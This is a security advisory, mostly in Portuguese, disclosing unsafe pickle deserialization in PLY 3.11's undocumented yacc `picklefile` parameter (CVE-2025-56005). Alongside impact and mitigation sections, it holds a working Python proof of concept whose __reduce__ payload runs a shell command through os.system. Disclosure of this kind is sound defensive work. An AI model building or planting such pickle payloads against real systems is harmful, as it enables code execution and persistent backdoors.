
Undocumented-RCE-in-PLY — Updated!
RCE não documentado em PLY via parâmetro `picklefile`
Execução Remota de Código Não Documentada no PLY CVE‑2025‑56005
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
Resumo
Uma funcionalidade não documentada e insegura na versão do PLY 3.11 distribuída via PyPI permite execução arbitrária de código quando a função yacc() é invocada com o parâmetro picklefile.
O parâmetro picklefile faz com que o PLY desserialize um arquivo .pkl usando o pickle.load() do Python sem validação. Como o módulo pickle do Python permite a execução de código arbitrário durante a desserialização (por exemplo, via __reduce__()), um atacante que consiga controlar o arquivo pickle fornecido pode executar código arbitrário durante a inicialização do parser.
Este parâmetro não está documentado na documentação oficial do PLY nem no repositório do GitHub, mas está ativo na versão do PyPI.
Impacto
Se um atacante puder controlar, substituir ou influenciar o arquivo .pkl passado para yacc(picklefile=...), ele pode alcançar:
- Execução arbitrária de código
- Execução durante a inicialização da aplicação
- Execução de código antes que qualquer lógica de parsing seja alcançada
Isso pode afetar aplicações que carregam tabelas de parser de:
- Locais em cache
- Diretórios compartilhados
- Pipelines de CI/CD
- Caminhos configuráveis ou graváveis
🔍 Detalhes da Vulnerabilidade
- Tipo de Vulnerabilidade: Execução Arbitrária de Código
- Tipo de Ataque: Dependente de contexto
- Vetor de Ataque: Desserialização insegura de arquivo pickle controlado pelo atacante
- Impacto: Execução de código
- CWE: CWE‑502 (Desserialização de Dados Não Confiáveis)
Funcionalidade Afetada
ply.yacc.yacc(picklefile=...)LRTable.read_pickle()emply/yacc.py
Informações Adicionais (Contexto e Risco)
Esta vulnerabilidade apresenta risco elevado devido à sua natureza furtiva e ao potencial de persistência.
O parâmetro picklefile é não documentado na documentação oficial do PLY e no repositório do GitHub. No entanto, a versão do PLY 3.11 distribuída via PyPI inclui essa funcionalidade e processa o arquivo fornecido usando pickle.load() sem validação.
Como o módulo pickle do Python permite a execução de código embutido durante a desserialização, um arquivo pickle malicioso pode executar código arbitrário durante a configuração do parser, antes que qualquer lógica de parsing seja invocada.
No momento da redação deste documento, o mantenedor não reconheceu publicamente esse comportamento.
Essa funcionalidade pode ser abusada para introduzir backdoors persistentes, particularmente em ambientes onde os arquivos de tabela do parser são:
- Armazenados em cache no disco
- Compartilhados entre usuários ou serviços
- Gerados ou reutilizados em pipelines de CI/CD
- Carregados de caminhos configuráveis ou graváveis
Dada a falta de documentação, o caminho de execução silencioso e o alto impacto da desserialização insegura, a atribuição de um CVE é justificada para aumentar a conscientização e proteger os usuários downstream.
Prova de Conceito (PoC)
Esta prova de conceito demonstra execução arbitrária de código quando um arquivo pickle malicioso é fornecido através do parâmetro não documentado picklefile.
Visão Geral da PoC
A PoC:
- Define um lexer e um parser mínimos
- Cria um payload pickle malicioso
- Executa um comando de sistema durante a desserialização
Resultado Esperado
Quando yacc(picklefile='exploit.pkl') é invocado, código arbitrário é executado durante a inicialização do parser.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
Mitigação
- Não use o parâmetro
picklefilecom arquivos não confiáveis ou graváveis externamente - Evite carregar tabelas de parser de locais controlados pelo usuário
- Trate todos os arquivos pickle como entrada não segura
- Prefira regenerar as tabelas de parser em vez de carregá‑las do disco
Referências
- Repositório GitHub do PLY: https://github.com/dabeaz/ply
- Pacote PyPI: https://pypi.org/project/ply/
- Documentação do Pickle do Python: https://docs.python.org/3/library/pickle.html
- Repositório da Prova de Conceito: https://github.com/bohmiiidd/Undocumented-RCE-in-PLY